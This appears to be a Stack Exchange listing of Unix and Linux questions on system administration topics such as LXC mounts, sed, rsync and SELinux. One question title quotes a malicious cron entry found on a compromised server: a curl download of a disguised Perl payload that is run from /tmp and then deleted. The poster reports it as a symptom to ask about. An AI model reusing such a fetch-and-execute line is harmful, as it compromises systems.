5
votes
2answers
2k views

Where is the virtual memory stored on hard drive?

If a process wants to access a memory address that is not in physical memory, the OS outsources a page frame from physical memory to the hard drive for later use. Where on the hard drive is this data ...
4
votes
2answers
3k views

SELinux: Can I disable copying of certain files?

Please excuse me if this is too basic and you're tempted to throw an RTFM at me. I want to prevent users from copying certain files while granting them read access to the same files. I thought this ...
1
vote
1answer
12k views

Wireless not working after update (Network Unclaimed)

I just installed backbox3, during the install im asked to connect to wireless, and it works like a charm, but after i update the system and reboot, i loose wireless... "sudo lshw -C network" gives ...
-1
votes
1answer
272 views

Plesk, Centos server error: Cron <root@…> cd /tmp;curl -s -O http://…/r.png;perl r.png;rm -fr r.png [closed]

I had the bright idea of clearing some space on the root partition. I thought I was fairly safe from what I have read by removing some of the locale files for Plesk and some of the backup.tar.gz and ...
1
vote
1answer
1k views

How do I manually modify an inode?

I am using Ubuntu Linux and, just for fun, I want to create a hardlink to a directory (as seen here). Because I'm just doing this for fun, I'm not looking for any sort of pre-developed ...
3
votes
1answer
1k views

rsync and backup and changing timezone

I back up my pictures from my camera using rsync, using: rsync -vzrtl --progress --stats --timeout=0 host destination Now I was in a different timezone when I did my first backup then I moved to a ...
1
vote
2answers
101 views

How do i move a pieces of data between two words if the data has a % percent symbol at the begining?

I have a log file looking somtheing like : SWEs-elmPCI-A-01(config)# class AutoQoS-VoIP-RTP-Trust ^ % Invalid input detected at '^' marker. SWEs-elmPCI-A-01(config)# ...
0
votes
1answer
200 views

Make application listen to hosts under a different gateway

Network Structure A typical college network. Different Hostels connected through LAN. All hosts in a hostel use the same gateway. I can directly communicate to hosts in other hostels using their ...
12
votes
7answers
25k views

Getting cpu usage same every time.

When I execute following command to get cpu usage , I get nice + user cpu usage. top -b -n1 | grep "Cpu(s)" | awk '{print $2 + $4}' Output: 14.5 Here I am getting problem is that the output ...
4
votes
0answers
588 views

selinux, dovecot and sieve

I've just started learning to configure SELINUX and this morning on my CentOS 6.4 x64 system, with postfix/dovecot/mysql installed, I woke up to the following selinux issue found 1 alerts in ...
0
votes
1answer
451 views

LXC: How can I mount a drive/directory without restarting the container?

If I configure LXC's fstab and restart, there's no problem with the mount, but do I have to restart?
3
votes
3answers
2k views

output in json form

The following command gives memory usage into normal form. awk '/^Mem/ {printf("%u%%", 100*$3/$2);}' <(free -m) I want to get it in valid json form. Desire output: Example: {"Memory":"80"}
2
votes
5answers
3k views

How to securely automate running commands as root with “sudo su -”?

hint (on client side, how to encrypt files/pwd's): # encrypt pwd with ssh key: openssl rsa -in ~/.ssh/id_rsa -outform pem > ~/.ssh/TEMP-id_rsa.pem 2>/dev/null openssl rsa -in ~/.ssh/id_rsa ...
3
votes
0answers
136 views

Allow audio from only one application

I'd like to only allow audio from a certain application. That is, I'd like to have audio turned off by default for new programs. I'm aware that in PulseAudio one can mute programs, but the problem ...
0
votes
2answers
31k views

bash script that print cpu usage,diskusage,ram usage

As we know that for sysadmins uses commands top for cpu usage, free -m for memory, df -lh for hdd space. I want to cut just usage details of cpu, memory, and Hdd. I need to make three commands and ...
1
vote
1answer
236 views

mark or color empty directories for `ls`

ls's -F flag allows to see the types of file and distinguish directories. Is there a way to add a functionality to distinguish an empty directory?
2
votes
1answer
232 views

Can this find command be made more compact?

Please look at these two commands: find ~/{Documents,Desktop,Downloads,Music,Videos} -mmin -120 -type f and find . ! -path "*opera*" ! -path "*mozilla*" ! -path "*google-chrome*" -mmin -120 -type f ...
0
votes
1answer
211 views

Debian Squeeze on HP Pavilion d7 with Sandy Bridge and ATI 6740 - display problems

After a fresh install of Debian Squeeze 6.0.7 on an HP Pavilion d7 laptop - the option to install the laptop packages was checked on the installer - the monitor was not recognized on ...
1
vote
1answer
1k views

How to recover grub after Windows installation

Usually when we install Windows after installing GNU/Linux, we usually lose the Grub. Which is the best way to recover grub when we lost grub or what are the possible different ways.
1
vote
2answers
2k views

Exit status of an asynchronous process

Although the following command returns an exit status that depends on the existence of the remote file: ssh $userAtServer "ls $targetDir/$targetFile" > $sshOutputFile lsReturnValue=$? which I ...
2
votes
1answer
1k views

How to download pdf files referenced by pages one or two levels inside of the seed

I have a list of URLs, and they are all like this: http://www.contratos.gov.co/consultas/detalleProceso.do?numConstancia=10-10-85225 ; inside those pages there are .pdf files being referenced. I need ...
1
vote
2answers
2k views

Set up chroot for LDAP users in RHEL6

I have been working on this for 2 days now and am about to give up so someone please help. I have a Red Hat 6 server joined to my active directory domain. Logins work just fine under normal ...
7
votes
2answers
7k views

How do I escape a sub-directory name with an ampersand in it?

Running a kornshell and trying to traverse a directory tree. Want to cd to a sub-directory named as follows: -3ab_&_-3dc.img My question is HOW do I need to escape the ampersand in this name? ...
2
votes
2answers
3k views

Using sed to process passwd file

I am trying to learn sed, but I'm having a lot of trouble. What I am trying to do is process my passwd file using a bash script with sed commands to do the following: For every user with group ID ...
4
votes
2answers
4k views

What does a “[1]+ Exit 1” response mean?

I ran this command to try and get my python program to run in the background and let me exit the SSH connection I am using: nohup python files.py >> files.log & I then check ps to check ...
3
votes
2answers
3k views

Where is the setting for sending email to a system user with ssmtp?

I'm using ssmtp for sending email (the setting is below) Now when i run a cron command or an at command, mail is sent to michel@mypi which is username @ machinename Now ofcourse this is not a ...
1
vote
1answer
100 views

Why is $* not working as expected?

I'm trying to use $* in a function to expand to all commandline arguments in a function, but it's giving me bizarre behavior: $ function repeat() { echo "$*" } $ repeat puts hello # this gives me ...
1
vote
2answers
872 views

Migrating from archlinux to gentoo

Is there an easy way to migrate from archlinux to gentoo? For example I get a list of manually installed packages in archlinux by pacman -Qeq, save it to file and edit (to delete all unneeded ...
1
vote
0answers
65 views

How to switch xsessions?

I run xmonad/slock/lxdm currently, and I cannot find a way to get a "switch user" system working. Here's what I'd like: key combination returns me to login (applications still run in the background) ...
2
votes
1answer
165 views

How would a script know when running locale-gen is necessary?

One of the basic steps in setting up a new system is getting the right glibc locale files generated. At least in ArchLinux and Gentoo, one is expected to do this step by hand. I am trying to setup a ...
2
votes
1answer
3k views

No valid sudoers sources

I've gone through the Google searches, but the results always have an extra clue that I'm not seeing. The error: [testuser@testhost] $ sudo -ll sudo: no valid sudoers sources found, quitting sudo: ...
7
votes
6answers
46k views

How can I use variables when doing a sed?

I want to do: cat update_via_sed.sh | sed 's/old_name/new_name/' > new_update_via_sed.sh in my program. But I want to use variables, e.g. old_run='old_name_952' new_run='old_name_953' I have ...
6
votes
2answers
586 views

How to target multiple selections with xclip

When copying text to the clipboard, xclip provides several selection targets: -selection specify which X selection to use, options are: "primary" to use XA_PRIMARY (default), ...
0
votes
2answers
4k views

Install Fedora core 15 on HP Smart Array Controller HDD

I need to install "Fedora Core 15" Linux on to HP Smart Array Controller attached HDD. Problem is Fedora Core 15 kernel do not has HPSA device driver. I tried to load (my own build) HPSA driver ...
1
vote
1answer
680 views

conffiles syntax

I'm trying to find what is the syntax of conffiles. I'm creating several packages using a single rules file and if I put the configuration files into conffiles I get an error when building the ...
7
votes
1answer
6k views

Can X11 scale to virtual resoltions on HiDPI/Retina screens the way OS X does?

I've recently had the chance to use a Macbook Pro with Retina Display, and its quite clear that the display is futuristic enough to actually warrant Apple's over-the-top marketing. I've got sensitive ...
2
votes
3answers
2k views

How can I schedule a python program to run from another python program?

I'm running a Python program on my Linux server, and depending on some external data it has to run again at xx minutes or hours from now. So let's say it runs at 6 AM, and then it has to run again at ...
4
votes
4answers
240 views

Bash-completion and grep

I installed a program (iftop) on Debian Squeeze but some days ago I forgot it's name. I had only this information about the program: 1) It was called *top 2) I could find it using bash-completions. ...
8
votes
1answer
478 views

Do LVM snapshots ultimately cause fragmentation?

I'm planning on using LVM in order to be able to take atomic snapshots of large files and rsync them to a remote site. What I'd like to know is whether there is any long-term impact on the main ...
0
votes
1answer
547 views

Samba 3.6 Configuration in Fedora 17

I need help configuring the Samba server so I can connect from a Windows (edit Windows 7) machine to my Fedora. I followed several tutorials because and non of them work for me. Here are two of them: ...
0
votes
1answer
338 views

X doesn't work after upgrading Slackware from 13.37 to 14.0

I upgraded the system, using instructions from file UPGRADE.txt on the disk. Everything works fine. But when I try to startx, it quits with an error: ck-launch-session: error while loading shared ...
0
votes
0answers
442 views

Filezilla is not showing hidden files

I am using Fedora 16 (client end) CentOS 6 (server end) I have no command line access to server FileZilla 3.5.2 I have enabled "Force showing hidden files" After enabling I have restarted ...
6
votes
4answers
1k views

How to forbid the execution of /bin/rm -f *?

I cannot remember how many times I've listed a subdirectory and executed /bin/rm -f * in the current directory. Can anyone give suggestions to help me avoid this? What should I do if I want the system ...
0
votes
1answer
720 views

Reading a path from a nested grep yields “No such file or directory”

Essentially, I have a file containing the path to another file. A single line looks like this. "/home/self/file" Now, separately... > cat "/home/self/file" blah blah ... > grep '".*"' ...
17
votes
5answers
18k views

LXC: How do I mount a folder from the host to the container?

I'm trying to mount a folder on the host to an LXC container. The host has a folder /mnt/ssd/solr_data created (this is currently on the root filesystem, but later I'll mount an SSD drive there, so ...
1
vote
1answer
14k views

Centos freeing up disk space

I have a CentOS server running Plesk and it's run out of space on the plesk partition. I have narrowed down where a lot of the disk space is being used, but I'm not sure how to move forward. Can I ...
-1
votes
1answer
3k views

Oracle 11g R2 on Redhat 6

I have a Solaris background, and I am new in RHEL, and I want to install Oracle 11g on it. I downloaded Oracle documentation, that illustrate how to install it for RHEL 6. The following or later ...
37
votes
4answers
25k views

What are the advantages of using named pipe over unnamed pipe?

I was reviewing a set of interview questions that are asked from a unix admin; I found a topic called "named pipe". I googled the topic; to some extent I have been able to understand it :- named ...
1
vote
1answer
295 views

bash prompt - long command circle back to same line after adding color

Note: I am using Putty and my TERM is set to XTERM. I have added the color to my bash prompt as PS1="\[\033[0;32m\]\d \t \u\e[1;33m@\H /\W $ \[\033[1;37m\]" just to simplify PS1 in English - ...
9
votes
4answers
3k views

What filesystem offers best protection for securing data against corruption due to power loss?

I am running a small uClibc and busybox based embedded system on an x86 device. I am using an initramfs but I also mounting a custom ext3 directory on a compact flash device in IDE mode that I am ...

15 30 50 per page